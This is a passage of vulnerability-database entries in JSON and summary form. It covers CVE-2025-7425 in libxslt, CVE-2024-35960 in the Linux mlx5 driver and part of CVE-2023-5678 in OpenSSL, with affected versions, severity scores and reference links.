            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:14858"
        },
        {
          "name": "RHSA-2025:15308",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:15308"
        },
        {
          "name": "RHSA-2025:15672",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:15672"
        },
        {
          "name": "RHSA-2025:15827",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:15827"
        },
        {
          "name": "RHSA-2025:15828",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:15828"
        },
        {
          "name": "RHSA-2025:18219",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:18219"
        },
        {
          "name": "RHSA-2025:21885",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:21885"
        },
        {
          "name": "RHSA-2025:21913",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:21913"
        },
        {
          "name": "RHSA-2026:0934",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2026:0934"
        },
        {
          "name": "RHSA-2026:11503",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2026:11503"
        },
        {
          "tags": [
            "vdb-entry",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/security/cve/CVE-2025-7425"
        },
        {
          "name": "RHBZ#2379274",
          "tags": [
            "issue-tracking",
            "x_refsource_REDHAT"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379274"
        },
        {
          "url": "https://gitlab.gnome.org/GNOME/libxslt/-/issues/140"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-07-10T09:37:28.172Z",
          "value": "Reported to Red Hat."
        },
        {
          "lang": "en",
          "time": "2025-07-10T00:00:00.000Z",
          "value": "Made public."
        }
      ],
      "title": "Libxslt: libxml2: heap use-after-free in libxslt caused by atype corruption in xmlattrptr",
      "workarounds": [
        {
          "lang": "en",
          "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
        }
      ],
      "x_generator": {
        "engine": "cvelib 1.8.0"
      },
      "x_redhatCweChain": "CWE-416: Use After Free"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2025-7425",
    "datePublished": "2025-07-10T13:53:37.295Z",
    "dateReserved": "2025-07-10T08:44:06.287Z",
    "dateUpdated": "2026-05-12T12:02:33.327Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35960 (GCVE-0-2024-35960)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

net/mlx5: Properly link new fs rules into the tree

Summary

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Properly link new fs rules into the tree Previously, add_rule_fg would only add newly created rules from the handle into the tree when they had a refcount of 1. On the other hand, create_flow_handle tries hard to find and reference already existing identical rules instead of creating new ones. These two behaviors can result in a situation where create_flow_handle 1) creates a new rule and references it, then 2) in a subsequent step during the same handle creation references it again, resulting in a rule with a refcount of 2 that is not linked into the tree, will have a NULL parent and root and will result in a crash when the flow group is deleted because del_sw_hw_rule, invoked on rule deletion, assumes node->parent is != NULL. This happened in the wild, due to another bug related to incorrect handling of duplicate pkt_reformat ids, which lead to the code in create_flow_handle incorrectly referencing a just-added rule in the same flow handle, resulting in the problem described above. Full details are at [1]. This patch changes add_rule_fg to add new rules without parents into the tree, properly initializing them and avoiding the crash. This makes it more consistent with how rules are added to an FTE in create_flow_handle.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/de0139719cdda8280…
https://git.kernel.org/stable/c/1263b0b26077b1183…
https://git.kernel.org/stable/c/3d90ca9145f6b97b3…
https://git.kernel.org/stable/c/7aaee12b804c5e037…
https://git.kernel.org/stable/c/2e8dc5cffc844dacf…
https://git.kernel.org/stable/c/5cf5337ef701830f1…
https://git.kernel.org/stable/c/adf67a03af39095f0…
https://git.kernel.org/stable/c/7c6782ad4911cbee8…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < de0139719cdda82806a47580ca0df06fc85e0bd2 (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < 1263b0b26077b1183c3c45a0a2479573a351d423 (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < 3d90ca9145f6b97b38d0c2b6b30f6ca6af9c1801 (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < 7aaee12b804c5e0374e7b132b6ec2158ff33dd64 (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < 2e8dc5cffc844dacfa79f056dea88002312f253f (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < 5cf5337ef701830f173b4eec00a4f984adeb57a0 (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < adf67a03af39095f05d82050f15813d6f700159d (git) Affected: 74491de937125d0c98c9b9c9208b4105717a3caa , < 7c6782ad4911cbee874e85630226ed389ff2e453 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "de0139719cdd",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "3d90ca9145f6",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "7aaee12b804c",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "2e8dc5cffc84",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5cf5337ef701",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "adf67a03af39",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "7c6782ad4911",
                "status": "affected",
                "version": "74491de93712",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "4.10"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4.10",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "4.20",
                "status": "unaffected",
                "version": "4.19.313",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.216",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.156",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.1.87",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.28",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.9",
                "status": "unaffected",
                "version": "6.8.7",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "NONE",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35960",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-01-16T21:09:41.022641Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-16T21:09:59.289Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.117Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/de0139719cdda82806a47580ca0df06fc85e0bd2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1263b0b26077b1183c3c45a0a2479573a351d423"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3d90ca9145f6b97b38d0c2b6b30f6ca6af9c1801"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7aaee12b804c5e0374e7b132b6ec2158ff33dd64"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e8dc5cffc844dacfa79f056dea88002312f253f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5cf5337ef701830f173b4eec00a4f984adeb57a0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/adf67a03af39095f05d82050f15813d6f700159d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7c6782ad4911cbee874e85630226ed389ff2e453"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:13.263Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlx5/core/fs_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "de0139719cdda82806a47580ca0df06fc85e0bd2",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "1263b0b26077b1183c3c45a0a2479573a351d423",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "3d90ca9145f6b97b38d0c2b6b30f6ca6af9c1801",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "7aaee12b804c5e0374e7b132b6ec2158ff33dd64",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "2e8dc5cffc844dacfa79f056dea88002312f253f",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "5cf5337ef701830f173b4eec00a4f984adeb57a0",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "adf67a03af39095f05d82050f15813d6f700159d",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            },
            {
              "lessThan": "7c6782ad4911cbee874e85630226ed389ff2e453",
              "status": "affected",
              "version": "74491de937125d0c98c9b9c9208b4105717a3caa",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlx5/core/fs_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Properly link new fs rules into the tree\n\nPreviously, add_rule_fg would only add newly created rules from the\nhandle into the tree when they had a refcount of 1. On the other hand,\ncreate_flow_handle tries hard to find and reference already existing\nidentical rules instead of creating new ones.\n\nThese two behaviors can result in a situation where create_flow_handle\n1) creates a new rule and references it, then\n2) in a subsequent step during the same handle creation references it\n   again,\nresulting in a rule with a refcount of 2 that is not linked into the\ntree, will have a NULL parent and root and will result in a crash when\nthe flow group is deleted because del_sw_hw_rule, invoked on rule\ndeletion, assumes node-\u003eparent is != NULL.\n\nThis happened in the wild, due to another bug related to incorrect\nhandling of duplicate pkt_reformat ids, which lead to the code in\ncreate_flow_handle incorrectly referencing a just-added rule in the same\nflow handle, resulting in the problem described above. Full details are\nat [1].\n\nThis patch changes add_rule_fg to add new rules without parents into\nthe tree, properly initializing them and avoiding the crash. This makes\nit more consistent with how rules are added to an FTE in\ncreate_flow_handle."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:32.050Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/de0139719cdda82806a47580ca0df06fc85e0bd2"
        },
        {
          "url": "https://git.kernel.org/stable/c/1263b0b26077b1183c3c45a0a2479573a351d423"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d90ca9145f6b97b38d0c2b6b30f6ca6af9c1801"
        },
        {
          "url": "https://git.kernel.org/stable/c/7aaee12b804c5e0374e7b132b6ec2158ff33dd64"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e8dc5cffc844dacfa79f056dea88002312f253f"
        },
        {
          "url": "https://git.kernel.org/stable/c/5cf5337ef701830f173b4eec00a4f984adeb57a0"
        },
        {
          "url": "https://git.kernel.org/stable/c/adf67a03af39095f05d82050f15813d6f700159d"
        },
        {
          "url": "https://git.kernel.org/stable/c/7c6782ad4911cbee874e85630226ed389ff2e453"
        }
      ],
      "title": "net/mlx5: Properly link new fs rules into the tree",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35960",
    "datePublished": "2024-05-20T09:41:51.900Z",
    "dateReserved": "2024-05-17T13:50:33.137Z",
    "dateUpdated": "2026-05-12T11:53:13.263Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-5678 (GCVE-0-2023-5678)

Vulnerability from cvelistv5 – Published: 2023-11-06 15:47 – Updated: 2026-05-12 10:32

Title

Excessive time spent in DH check / generation with large Q parameter value

Summary

Issue summary: Generating excessively long X9.42 DH keys or checking excessively long X9.42 DH keys or parameters may be very slow. Impact summary: Applications that use the functions DH_generate_key() to generate an X9.42 DH key may experience long delays. Likewise, applications that use DH_check_pub_key(), DH_check_pub_key_ex() or EVP_PKEY_public_check() to check an X9.42 DH key or X9.42 DH parameters may experience long delays. Where the key or parameters that are being checked have been obtained from an untrusted source this may lead to a Denial of Service. While DH_check() performs all the necessary checks (as of CVE-2023-3817), DH_check_pub_key() doesn't make any of these checks, and is therefore vulnerable for excessively large P and Q parameters. Likewise, while DH_generate_key() performs a check for an excessively large P, it doesn't check for an excessively large Q. An application that calls DH_generate_key() or DH_check_pub_key() and supplies a key or parameters obtained from an untrusted source could be vulnerable to a Denial of Service attack. DH_generate_key() and DH_check_pub_key() are also called by a number of other OpenSSL functions. An application calling any of those other functions may similarly be affected. The other functions affected by this are DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate(). Also vulnerable are the OpenSSL pkey command line application when using the "-pubcheck" option, as well as the OpenSSL genpkey command line application. The OpenSSL SSL/TLS implementation is not affected by this issue. The OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-606 - Unchecked Input for Loop Condition

Assigner

openssl

References

5 references

URL	Tags
https://www.openssl.org/news/secadv/20231106.txt	vendor-advisory
https://git.openssl.org/gitweb/?p=openssl.git;a=c…	patch
https://git.openssl.org/gitweb/?p=openssl.git;a=c…	patch
https://git.openssl.org/gitweb/?p=openssl.git;a=c…	patch
https://git.openssl.org/gitweb/?p=openssl.git;a=c…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 1.0.2 , < 1.0.2zj (custom) Affected: 1.1.1 , < 1.1.1x (custom) Affected: 3.0.0 , < 3.0.13 (semver) Affected: 3.1.0 , < 3.1.5 (semver)

Date Public ?

2023-11-06 00:00

Credits

David Benjamin (Google) Richard Levitte

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:50:41.915Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "OpenSSL Advisory",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.openssl.org/news/secadv/20231106.txt"
          },
          {
            "name": "1.0.2zj git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=34efaef6c103d636ab507a0cc34dca4d3aecc055"
          },
          {
            "name": "1.1.1x git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=710fee740904b6290fef0dd5536fbcedbc38ff0c"
          },
          {
            "name": "3.0.13 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=db925ae2e65d0d925adef429afc37f75bd1c2017"
          },
          {
            "name": "3.1.5 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=ddeb4b6c6d527e54ce9a99cba785c0f7776e54b6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20231130-0010/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/03/11/1"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00000.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00033.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-5678",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-02T19:42:37.122304Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-02T19:42:55.034Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIDIS Prime",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V4.0.700",
